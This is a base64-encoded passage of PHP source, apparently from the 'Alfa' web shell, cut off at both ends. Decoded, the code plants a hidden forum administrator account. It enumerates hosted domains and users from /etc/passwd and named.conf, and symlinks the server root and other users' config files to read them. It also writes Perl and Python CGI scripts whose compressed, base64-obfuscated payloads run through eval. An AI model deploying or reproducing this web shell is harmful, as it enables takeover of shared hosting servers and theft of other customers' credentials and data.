TEnXSAmJiAkX1BPU1RbJ2FsZmExJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTMnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRwcmVmaXggPSAkX1BPU1RbJ2FsZmE3J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGF0YWJhc2UpIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJHNldHB3QWxnID0gc2hhMShzdHJ0b2xvd2VyKCRhZG1pbikgLiAnc29sZXZpc2libGUnKTsKJHNvbGV2aXNpYmxlPUBteXNxbGlfcXVlcnkoJGNvbm4sImluc2VydCBpbnRvIHskcHJlZml4fW1lbWJlcnMgKGlkX21lbWJlcixtZW1iZXJfbmFtZSxpZF9ncm91cCxyZWFsX25hbWUscGFzc3dkLGVtYWlsX2FkZHJlc3MpIHZhbHVlcyhudWxsLCckYWRtaW4nLCcxJywnJGFkbWluJywnJHNldHB3QWxnJywnc29sZXZpc2libGVAZmJpLmdvdicpIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwppZigkc29sZXZpc2libGUpewpfX2FsZXJ0KCdTdWNjZXNzLi4uICcuJGFkbWluLicgaXMgY3JlYXRlZC4uLicpO30KfQp9CmVjaG8gIjwvZGl2PiI7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhTWFrZVB3ZCgpewoJaWYoX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKXx8KF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL25hbWVkLmNvbmYiKSYmX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMiKSkpewoJCXJldHVybiAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sLyI7Cgl9CgkkZG9jdW1lbnQgPSBleHBsb2RlKCIvIiwgJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSk7CgkkcHVibGljID0gZW5kKCRkb2N1bWVudCk7CglhcnJheV9wb3AoJGRvY3VtZW50KTsKCWFycmF5X3BvcCgkZG9jdW1lbnQpOwoJJHBhdGggPSBpbXBsb2RlKCIvIiwgJGRvY3VtZW50KSAuICIve3VzZXJ9LyIgLiAkcHVibGljOwoJcmV0dXJuICRwYXRoOwp9CmZ1bmN0aW9uIGFsZmFHZXREb21haW5zKCRzdGF0ZSA9IGZhbHNlKXsKCSRzdGF0ZSA9ICJuYW1lZC5jb25mIjsKCSRsaW5lcyA9IGFycmF5KCk7CgkkbGluZXMgPSBfYWxmYV9maWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKCWlmKCEkbGluZXMpewoJCSRsaW5lcyA9IEBzY2FuZGlyKCIvZXRjL3ZhbGlhc2VzLyIpOwoJCSRzdGF0ZSA9ICJ2YWxpYXNlcyI7CgkJaWYoISRsaW5lcyl7CgkJCSRsaW5lcyA9IEBzY2FuZGlyKCIvdmFyL25hbWVkIik7CgkJCSRzdGF0ZSA9ICJuYW1lZCI7CgkJCWlmKCEkbGluZXMgJiYgJHN0YXRlKXsKCQkJCSRsaW5lcyA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7CgkJCQkkc3RhdGUgPSAicGFzc3dkIjsKCQkJfQoJCX0KCX0KCXJldHVybiBhcnJheSgibGluZXMiID0+ICRsaW5lcywgInN0YXRlIiA9PiAkc3RhdGUpOwp9CmZ1bmN0aW9uIGFsZmFDcmVhdGVQYXJlbnRGb2xkZXIoKXsKCSRwYXJlbnQgPSAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fOwoJaWYoIUBpc19kaXIoJHBhcmVudCkpewoJCUBta2RpcigkcGFyZW50LCAwNzU1LCB0cnVlKTsKCX0KfQpmdW5jdGlvbiBhbGZhc3ltbGluaygpewphbGZhaGVhZCgpOwpBbGZhTnVtKDksMTApOwphbGZhQ3JlYXRlUGFyZW50Rm9sZGVyKCk7CkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fQUxGQV9EQVRBX0ZPTERFUl9fKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayB8PC9kaXY+PGNlbnRlcj48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1waHBcJykiPnwgU3ltbGluayggcGhwICkgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsXCdzeW1wZXJsXCcpIj58IFN5bWxpbmsoIHBlcmwgKSB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc3ltbGlua1wnLG51bGwsbnVsbCxcJ3N5bXB5XCcpIj58IFN5bWxpbmsoIHB5dGhvbiApIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsbnVsbCxcJ1N5bUZpbGVcJykiPnwgRmlsZSBTeW1saW5rIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSYmKCRfUE9TVFsnYWxmYTInXT09J3N5bXBlcmwnfHwkX1BPU1RbImFsZmEyIl09PSJzeW1weSIpKXsKCSRzeW1wYXRoID0gYWxmYU1ha2VQd2QoKTsKCUBta2RpcignY2dpYWxmYScsMDc1NSk7CglAY2hkaXIoJ2NnaWFsZmEnKTsKCWFsZmFjZ2lodGFjY2VzcygnY2dpJyk7CgkkcGVybCA9ICcjIS91c3IvYmluL3BlcmwgICAtSS91c3IvbG9jYWwvYmFuZG1pbicuIlxuIi4ndXNlIE1JTUU6OkJhc2U2NDt1c2UgQ29tcHJlc3M6OlpsaWI7bXkgJGFsZmFfZGF0YT0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nIjtldmFsKENvbXByZXNzOjpabGliOjptZW1HdW56aXAoZGVjb2RlX2Jhc2U2NCgiSDRzSUFBQUFBQUFBLzUwWWUxUFRTUHlyTExGbkVxVjVWQkJzMmdLSDRqbWpjaVBvUDVUcmJMTGJOcEltdWV6MlphbWYvWDc3U0JxZ29IT1pJZDNOL3Q3dlpjb29pcktVY1p4eTlPRmljUHIrQStyMjBBNWR4SXd6MURqNTh2N2JsWGNkVEphb01XdjVxSXNNUTIxQ3RZNkh5Rko0TmxybFJReGtqTk1zNVRUbFRiN01hUnR4dXVEdW1FK1NmdHBQTzJMUjY0d3BKcjBPajNsQ2U2Y1pvUVNGUzNUeThld0VYZEtUVHgxWG5YUVlYOElQWGdrU1RVS2pyTUE4enRKMm1xVTBXSGRjZGQ1eEZia3dJMHNVanFJc3lZcXUrY3lUajlrekFpV1cyU0h4REVtVXJwRmpRdUowMVBhOWZCRUVFMXlNNHJRWlpweG5FL1V0ekFwQ2k3YWZMeERCYkF3U1BodktKNUQwMjdBVDVBTXBHazdpVWRxT1FHZGFCRVBRdmptbjhXak0yMkdXRVBXQnhUOW91L1VhS0JzYmpWbVdVTVF3UWM5Um5NNWlGb2V3LzRrdWxwTWtUbS9RbjB2ME55MlNqZ3VDOTh4Z1RSTkdWOW9ObFdlVUp4bzRHZUlCd1J3N2hodU5ZckYxaldETnBpR1FIdUNpd0V1MEFzZFpnTy90Tm1hK1p3UGE4VUE0ODQrWlA0VE5CT2RvMVJnSS8vdHJkQ3dBZzRMeWFaRWlTOFVESVB2RGxVQmUyL2FSMy9ZVWczeE9TdHF2TmRWNGFPM29zRmhwR2tMd1lBMEhBSVhvdjhnZ2NVRWpibFFBaGp2T0p0UmRUUmt0MW00K0RaTTRHb2g0RVlvQVhwTUNDT1dSbStJSkpRNkU3ZEJBejUrakp0SGZaK0FIekNoemY1UG1NY3VUbUlQQTh0ZHkrNjY3aXhydlBuOWJHVy9QVDc5K2V2ZjVjdkRsL1B6U1dOc3E1ZzhBTnM5eXBCQ0QybEt6KzU3RnFXVzR4cTcrYmpzZ2dXWnVJQWNvS0l0TjhBM2xSV20wUGVBNm8rTGxINHIzdmphaVRxY09RS3F3TlI5R213bHBCTEV2WWd5VmtYOEdqK2RENUFQRFBjZm91T0lVMGtRQWNyS0ZWa0tIWEZEQ2FGelFZZGMwSEpDS1NpZGRIWW5uMmtCSHlQeU9aNWhGUlp6ek5rNW93UzFqRHRWRFZJNWhuQkpFc2dtT1U4ZHhETnRzSTNQTWVkNTJYUk9Fb0xaam1JaERsbEhlTlFkaGd0TWI4NTdRbm5mU2FubEthRm9UR2xlQ2I5SHk3RXdoK0ljUDFLeHJBem5pR0NJbG1Nb3NWNnh6U0MySEw3ZzQzb2VzK1pXQVlGTlpUM1IyUGhEUTVVVlBaeHpKQnNEcGZrN0lFUEpmaVJpYUUvbGRmRHFlK2Z2d3lkS2JxTForVmEwYk13SnJYNU9BcGFlV2J6WkxiN1AwRlVRdDFXVEdRRmFvWThGRGZ3cXluRUo2RTArNGp1MGk4MTZDbVRiS2lncW5UREFqMEZKM05HSXZpSklNV29uZUt0YUFJM2hYU0NWN0liUjVOMkZOS1FjVUJLUWFUV3RYQVNyZUIxSjN6Yktnb25RWEV1ck91ZUo1Y0pmTERCZEttNmM1K0wvZzRKY2Nkc1RHWGlrblFEbURCNnJ5dHFLMjFiQ3p1T0JUbkxncVZiSjVTZ3RXbWZpT0VFOWIxdGRhSHRhY1hqT3I1dktrem9lYVc3UlY0OE9OU1E5TFhhUWRIdzhSSW1WUkJEdnl1SlJkYnFyMjVXbkw2ZTBidmEwVXErSlhjTFZ5ek5pODRxcDJqMWhNSGZZQzRRb0lWclUxZ2cxbFhVOTFFVUR2aWlJclJMblNvbFhsRm9zMnJBYUFydW1iWmNFTWNYUXpLckpwU3BwNkJsQWpoaDRmMmg3Q1U1N0ppcXpubS85WnQxODhLR1ZiSytWYkdVVHNhZUN5U242Rkh2UkwwTzBGcml4dThOSjZpVWtMYWwxakllMC96Q0Irb3JFTU1rQ2t5Qkllc1ZjUnRONWNCNmVjVWNTaDN1UGFKT21UY3BSOFVLOTB4a0ZRU01MZG4yamlPaStPZnNEOGh3d0xWcmFCVm01UU12QzFKNjA2UjF1Z01kY2hvZXVPcWtBTEpSOWdrWUpyN293bGlqZTZ2VVhsbDFvRnF5TTdHcWpjT2hVMXBaYU13bnVEaWVoVllhQ0dHUUVpdzEwWUF4cFBQcC9HeExKZ0Z1ZVdQTE92OXE1dHJaSWlyTmFxYTlETjROSVdjNHZVTmREazRJZXE2VkFaUW16OWEyWGlONUtwMkN2TC9OTm5MMi9ocnlIc1U4ZjNKYjZnc3gwd3JER3FXMUJuWG1rdGV0VzZSaDIwNzNtbGZUUnVOVnlvZG5kUW04VFdhaGFEZGlsVklpV24vV3ZvMU1LS0IwSzYwcGw0cXpORmpGU2lXQnNxcjNSRTZMbE00SXZBa0ZoRURKVDM5RkJlOXNyR3NpZUxVejNvb2VSQnlFZDNJcjVWQzNCY2kyK2lyUkk5RnN6Q09TMFZ6SlpDYmZoYTRMNXoyMi9XZ3RpcllHZFJCUXh5M0llV3dDMEFsZzFua0VBeDd5SjRqL2hZV3M5R1RUVmJWQ01IWU1BY3czZ2h6M2VSQjc2b2tHMWhuT3I0d2FsVXNMeHpXSDJnS1IySkhkQ2pTaEE1LzFxTmhUaFNiUW5MTndGM0wxNitETFNkL1NDZnNyRlZvd0Y2aUs2ckM4TWVPR1ZEcW9xbkxRUjE2andtR2dUa2R1SDhjQXV4QjBJQk5uQW9HNGlyQ2lUOGlrNGloc0wxNUFiNnExV2ZRVUZJNzJCL1g0OTN2b3lYWitwbUNQZStDM0V6dkpBM3d3L2x6YkNmbnVmaStzdmdFNkVMeXRCWmxpVFpIT3IxUnlESSt1bGJPWHhreFZJQ3lPdWx4blZ5dVBUMDB4TkNMdUZTcnU3a2VRTHRBK1hqWFB6dElRR1JJSGdoZFZrSDJMOXdTbURRL3cxd0hlbEROVS9DQXJ6UkF4WHZUTjNPbU9Nb29veVZWM0lJMytGYWFxOG5CVUZCUTZ0cjFPTlR1d3pTbmVwT3VHMnlnclJYazdoVk5oUmRUTXV2NWJBbVU2UzhybFplMUU2VS83RUFILzRINWVIS2ZTc1JBQUE9IikpKTsnOwoJJHB5ID0gJyMhL3Vzci9iaW4vcHl0aG9uJy4iXG5pbXBvcnQgemxpYiwgYmFzZTY0XG5hbGZhX2RhdGE9JyIuX19BTEZBX0RBVEFfRk9MREVSX18uIidcbiIuJ2V2YWwoY29tcGlsZSh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZSgiZUp5ZFdOMXo0amdTZnpaL2hkWlRXY09HMkpDNnZRZEMyTXJOVE82bWFuZm42aWI3bEZBdVlRdndqckZja2dpd1UzTi8rM1hyd3hiZ1pLYk9EMWlXK2x2ZFA3VlE0akRwRVhpS1RjMkZJdG1xVUFzOW9VY3hxK2lpWlAxQmorMHpWcXRKTDZpcGxMMmVKVmZGaHJreGwyNGtEODFRTk12MUx1LzFWaVZmMERLRk1ia2xZZWkrdDZJMDN4OCtwVy8vK1FIRzk3U1VyS2VjZFVkOElENm1Zdlg4T0o3N2kwYUlWS0pQeXlWTmM2cm9nRnlTTUFGUGNDWUpHeWVRcTFIMUlMYXMxOHZaa3F5WVFoWDltc3NCZUZvc0d5SnJFRXdHZ3FtdHFEeUxOQ0d3SUZXWUY0SmxLaVJja0Q2WGNVM1ZPaTdrc29BWWhnbFRXVkxSRGN2ampGZkxjRUJvbFpPV0NuZ3QwVE10Q3lxWlRNTEJ3Tk1aSm11K1ljbVhyV1RpYTFKdkYyV1JwV3UxS2NHMUFMakJCQlRIcXVkQzhPb3hmUGZ4N1IrL3ZmLzlJZjNQeDQ4UDRUeVdkVmtvVUJFT1lCczFOekFnWDF6ekd2WTQ4TWRPNTRWMENpOWtTQzRJOHNkLzhxTHFJL1ZnU0l5a2dRbmhobjVtc0FNWjMxWnFTSEsrb1VVMUpNZy9KTmt1UjIvV1N0VzQyL2llSkVsNGlWdG1LQWM2bG1hc3cvbjRDejd6RUlOZythSS82VE9WbVNoZ0kybkpCRGkwWXlTamxTTExBdUpwdU9NNERnY1J1Q2tLV0FpblNrQm1IRXAyR3ltMlYxY1EzMVUxeVZpbG1MaUpabE9WejZaTERwUVpMN200amQ3Y3d6TWFSek5qblhabmNCbE9FeVNhVFJPa1YzbUh5Skl0RlFxa1pDM1k4all5L0dnNnNFZEVRZDR5ZFJ1bGk1SlduNk1UcGFQUjNmWDF5Q20xSWZHMDBrWnpoN1gzOTQ0Um8zMXU3S2xOYmRVQUxkYUhQR3pLb3ZxYzRMZysySzlZN1pXTkFlemVaWmg4eXdjSUd6elI3SlBoUDdNOVVXSUcyYXFUSmVlcFZlTktibk93TmU2WFlpK0EzVTBGbzNtcXE4ZlZiRkRJRkRKZGJXblpURDFUMFJBWkRBbE1IUG11WXJwQTdDd1RBbXEwK1hROGovTmVBQVl4YWNmNUF0M01QcGVGVkhiS3EzYk5wWlB6eUJRcjg5eHN0NkJ4TFFnYVRieG1WUWMreE1pc2FiQWdBNE5lNUwxK0ZielNJcHlvVnBhTTBkaE9NRUhDVGltdG1HNDVFRlpqbVpFUkhNWFpSUDVGMFUyb0RSMHJ6K0Z5OG5wTWJHUVRmeWZQb25PNno5YXExNFBtWERnUG1sWDVXc3c2OTl3UFpTUDl1N2IzeGZpOW1FWW5rWVc0Nmdsa08wbnZRQWVjaEhoNDcvTHdKbmc5NEpic3V4THdaUnNzOXRvU0orOXhIbkVaYzhDY3BRMDZZNU5CRmx6a0REQmtIRGxnWFVEbHJRU0FiMzZsOFdYeVpxU2ZtdzFnVUZGTlJvUnVGZGNBdmdaTFovODN6UDkwQnBhZHdQeE9wNWg4bmRpQjhSOEF3OThrN1FaTEI1VHdZLzFhOFB5QXVCbnNJZFJqZUM4aDZMZ3pCRTVLdlVQTlhnSUJ2bUlBN2FJMm1VWHpYREFwN1FyTzZETEJqSGo4QVo4NWlnNEE0bFBGTnJYcHhURER1NkJPVDN2MTcvVkc4RWhHUmJZR0NRSXMwT04rRlAvMHkxOGNEQXY3TUJxRTVFczAxSVpZTEFGeGh0S0s4TXcxOHpIbVFOMGZXM3JXYWd1Z2tsUlJPZnhwRjFvUmRnU3BYQU9RUXhzVzU0dHdDQTRhYWRpYW9TUG84ekZjbW5iSHNqdS9UM282eHoyd2F0dmFieUlNcDFnTXAxbTkyeFk1dG9SU1VkWHl3V2NLQzRPNDN1bDRXZys3Z2VCRmIvMzVkaG83NENZWlRPczNzVjZESjJCQTMvVElVM0xkSWFkeEFJa2VSL1BlY1ZqMTdIanVwUG5nYTRVZDhZL25majZlQ1JvZEwzdDVaNkZvMHFRS0lJYTIrL0Y2anFiL1BCcDFSc2ZUMEhTUlpxSHBmRTJ6NFVMek5YRm5tMThHRnk0UGpNNmY1NjdmQlk4c3VWY29QNXdhN0lteTJwbzBORTAxWktLT2s1RmxSWjBBUHQ0U1RzS0I5NHYyK0puWVRLN3k0K05CZzRST2JnQUpMY3M3bUlBUVg4ZmJVcVVZdHFiK082eHh3YTdTNzYxMG5lZVdDOFE1UmllbzFlbFdUc3JkY21taVFwTGZRWDdEZTdMbm1CNG5VZkhsTi9VbFdwVTRhRGZsS2h5Ryt0aHpXS0cvdlh4T29XeXdwcUI0ekw2Ukt3M0g4SnoyaVE0eGtPeHhOR25ZNTdpUnhvS2phV2R2dmpDSkIzbDNZWlFNcloxZUZJRUk5clJSMlFUa09CNkJ2WTd0blFTYmJmb3VwaFBUaWR5VHkxdm5TSnRKVFdmbmVSZlRHaHFGdko4dm1scDE5TWNuUWF1N0tjQ1gxTGZhUGZUcUNJT3Q2VWF4aVlMZm8zY0JXV3VJNVgvQkRDOEd2c2hqaDEzTGtwZ2pHZDdZdThEUkRIY2FzQ2pWVlpLbXVsalRGRUV4VFJFTXZMOFR2TTduTGRnSjNjbVZPdFJzUXJCblNmQSsvMVE5VlZNY3pLYjIvQzhVS0huTE1jeUxBN243OWY2T1BMQzczMEM5WHBucXJtZEd2K2kySjJjWkYxUWZIQlZVeTgzWGFXTFdwNGtSaDZhVHhhcHRiMHdiRWphR1JkTzhlTGF0RkdCT25oZlZhakllMWZzYjIzcGRMYmhTZkdQbVRPTTJHZGQ3UUhPNUJodmZMUFZ6WTd1MjVWSjNiZWM5R2ZZN1Z6dFdyTlpxc3VCbGJpWms4UmViWFA4ZEpJZXR6NUpEaXlocFRuNkVQWDh1WklFdDQzK0piWjNJUHc3azN3ZTE1dFUwQWRObmNQVzNaekVldVFjSnU5d1B4WVpjaVNYeExydTZ0b0VDVXdUL3p1aEgzbUprRjdNMTNndE9WcHhrYzMwTkUyd3B6bS9PbW02dGFKYlpvK2lOOFFlcy9ZVCtmTkwrZkhEK1BGVWY5WGt2WVNwbmUyakw3M2xaOGgwNCtTdUlsRS9WTzMxaDR1S2dDWFJRTEc5Y1E4SThWWGQ1L2dESlpISUpVQXpxbzE3WEJKTUpmL0RqYjZRMlNRYTAvNExEcFlSait0dmttQnliNXBvUU82Y0FJSGVYT295YmVDY0t4ZnB1eGN4bEpaZjQvMkd2cTMxNjdYcDNEQ2ZlWHdWaGV4RmxYY3YyVGducnAyM1VFTzhtL3IzRFpDRlVUMDByZDNFd0tTdFlEaGVHQytqZmNRMEt4NUppS3dCQy9nZWpCbWtrIikpLFwnPHN0cmluZz5cJyxcJ2V4ZWNcJykpJzsKCSRjZ2luYW1lID0gInN5bXBlcmwuYWxmYSI7Cgkkc291cmNlID0gJHBlcmw7CgkkbGFuZyA9ICJwZXJsIjsKCWlmKCRfUE9TVFsiYWxmYTIiXT09InN5bXB5Iil7CgkJJGNnaW5hbWUgPSAicHlzeW1saW5rLmFsZmEiOwoJCSRzb3VyY2UgPSAkcHk7CgkJJGxhbmcgPSAicHl0aG9uIjsKCX0KCUBfX3dyaXRlX2ZpbGUoJGNnaW5hbWUsJHNvdXJjZSk7CglAY2htb2QoJGNnaW5hbWUsMDc1NSk7CgllY2hvIF9fcHJlKCk7CgkkcmVzb3VyY2UgPSBhbGZhRXgoInskbGFuZ30geyRjZ2luYW1lfSB7JHN5bXBhdGh9IixmYWxzZSx0cnVlLHRydWUpOwoJaWYoc3RybGVuKCRyZXNvdXJjZSkgPT0gMCl7CgkJZWNobyBBbGZhaUZyYW1lQ3JlYXRvcignY2dpYWxmYS8nLiRjZ2luYW1lKTsKCX1lbHNlewoJCWVjaG8gJHJlc291cmNlOwoJfQp9CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkgJiYgJF9QT1NUWydhbGZhNCddPT0nU3ltRmlsZScpewppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CkFsZmFOdW0oOSwxMCk7CmVjaG8gX19wcmUoKS4nCjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayBGaWxlIEFuZCBEaXJlY3RvcnkgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsbnVsbCxudWxsLFwnU3ltRmlsZVwnLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnN5bWZpbGUudmFsdWUsdGhpcy5zeW1saW5rLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgcGxhY2Vob2xkZXI9IkV4YW1wbGUgOiAvaG9tZS91c2VyL3B1YmxpY19odG1sL2NvbmZpZy5waHAiIHNpemU9IjYwIi8+PGJyIC8+CjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzeW1maWxlIiBwbGFjZWhvbGRlcj0iRXhhbXBsZSA6IGFsZmEudHh0IiBzaXplPSI2MCIvPgo8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0ic3ltbGluayIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CiRwYXRoID0gJF9QT1NUWydhbGZhNSddOwokc3ltbmFtZSA9ICRfUE9TVFsnYWxmYTYnXTsKJHNvbGV2aXNpYmxlNTggPSAkX1BPU1RbJ2FsZmE3J107CmlmKCRzb2xldmlzaWJsZTU4KXsKJG5ld19uYW1lID0gc3RyX3JlcGxhY2UoIi4iLCAiXyIsIGJhc2VuYW1lKCRzeW1uYW1lKSk7CiRyYW5kX2RpciA9ICRuZXdfbmFtZS5yYW5kKDExMSw5OTk5KTsKJHN5bV9kaXIgPSAnYWxmYXN5bWxpbmtwaHAvJy4kcmFuZF9kaXIuJy8nOwpAbWtkaXIoJHN5bV9kaXIsIDA3NzcsIHRydWUpOwphbGZhY2dpaHRhY2Nlc3MoJ3N5bScsICRzeW1fZGlyLCAkc3ltbmFtZSk7Cl9hbGZhX3N5bWxpbmsoIiRwYXRoIiwiJHN5bV9kaXIvJHN5bW5hbWUiKTsKZWNobyBfX3ByZSgpOwplY2hvICc8Y2VudGVyPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSI+Q2xpY2sgPj4gPC9mb250PjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLl9fQUxGQV9EQVRBX0ZPTERFUl9fLiIvIi4kc3ltX2Rpci4nIiA+PGI+PGZvbnQgc2l6ZT0iNCI+Jy4kc3ltbmFtZS4nPC9mb250PjwvYj48L2E+PC9iPjwvY2VudGVyPic7Cn0KfWVsc2V7ZWNobyAiPGNlbnRlcj48cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlsrXSBTeW1saW5rIEZ1bmN0aW9uIERpc2FibGVkICE8L2I+PC9mb250PjwvcHJlPjwvY2VudGVyPiI7fQp9CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgJF9QT1NUWydhbGZhMiddPT0nc3ltcGhwJyl7CiRjYW50X3N5bWxpbmsgPSB0cnVlOwppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2FsZmFfY2FuX3J1bkNvbW1hbmQoZmFsc2UsZmFsc2UpKXsKQG1rZGlyKCdhbGZhc3ltbGluaycsMDc3Nyk7CmFsZmFjZ2lodGFjY2Vzcygnc3ltJywnYWxmYXN5bWxpbmsvJyk7Cl9hbGZhX3N5bWxpbmsoJy8nLCdhbGZhc3ltbGluay9yb290Jyk7CiR0YWJsZV9oZWFkZXIgPSAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48dGFibGUgaWQ9J3RibF9zeW1wcGhwJyBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgYm9yZGVyPScxJz48dGQ+PHNwYW4gc3R5bGU9J2NvbG9yOiNGRkZGMDE7Jz48Yj4qPC9zcGFuPjwvYj48L3RkPjx0ZD48c3BhbiBzdHlsZT0nY29sb3I6IzAwQTIyMDsnPjxiPkRvbWFpbnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkZGRkZGOyc+PGI+VXNlcnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkYwMDAwOyc+PGI+c3ltbGluazwvc3Bhbj48L2I+PC90ZD4iOwppZihfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy9uYW1lZC5jb25mIikgJiYgIV9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIikgJiYgX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmFsaWFzZXMvIikpewplY2hvICI8Y2VudGVyPiI7CiRsaW5lcyA9IGFycmF5KCk7CiRhbm9ueV9kb21haW5zID0gYXJyYXkoKTsKJGFub255bW91c191c2VycyA9IGFycmF5KCk7CiRmX2JsYWNrID0gYXJyYXkoKTsKJGVycm9yID0gZmFsc2U7CiRhbm9ueW1vdXMgPSBmYWxzZTsKJG1ha2Vwd2QgPSAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sLyI7CiRkb21haW5zID0gYWxmYUdldERvbWFpbnMoKTsKJGxpbmVzID0gJGRvbWFpbnNbImxpbmVzIl07CiRzdGF0ZSA9ICRkb21haW5zWyJzdGF0ZSJdOwokaXNfcG9zaXggPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKTsKJGNhbl9ydW5jbWQgPSBfYWxmYV9jYW5fcnVuQ29tbWFuZChmYWxzZSxmYWxzZSk7CmlmKCEkaXNfcG9zaXggJiYgISRjYW5fcnVuY21kKXsKCSRhbm9ueW1vdXMgPSB0cnVlOwoJJGFub255X2RvbWFpbnMgPSAkZG9tYWluc1sibGluZXMiXTsKCSRsaW5lcyA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7Cn0KZWNobyAkdGFibGVfaGVhZGVyOwokY291bnQ9MTsKJHRlbXBsYXRlID0gJzx0cj48dGQ+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGMDE7Ij57Y291bnR9PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0ie2h0dHB9Ii8+PHNwYW4gc3R5bGU9ImNvbG9yOiMwMEEyMjA7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPntkb21haW59PC9iPiA8L2E+PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48c3BhbiBzdHlsZT0iY29sb3I6I0ZGRkZGRjttYXJnaW4tbGVmdDoxMHB4OyI+PGI+e293bmVyfTwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZj0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nL2FsZmFzeW1saW5rL3Jvb3R7c3ltcGF0aH0iIHRhcmdldD0iX2JsYW5rIj48c3BhbiBzdHlsZT0iY29sb3I6I0ZGMDAwMDsiPlN5bWxpbms8L3NwYW4+PC9hPjwvdGQ+PC90cj4nOwpmb3JlYWNoKCRsaW5lcyBhcyAkbGluZSl7CgkkZG9tYWluID0gIiI7Cgkkb3duZXIgPSAiIjsKCWlmKCRhbm9ueW1vdXMpewoJCSRleHBsb2RlID0gZXhwbG9kZSgiOiIsICRsaW5lKTsKCQkkb3duZXIgPSAkZXhwbG9kZVswXTsKCQkkb3duZXJfbGVuID0gc3RybGVuKCRvd25lcikgLSAxOwoJCSR1c2VyaWQgPSAkZXhwbG9kZVsyXTsKCQlpZigoaW50KSR1c2VyaWQgPCA1MDApY29udGludWU7CgkJJGRvbWFpbiA9ICJbPz8/Pz9dIjsKCQkkdGVtcF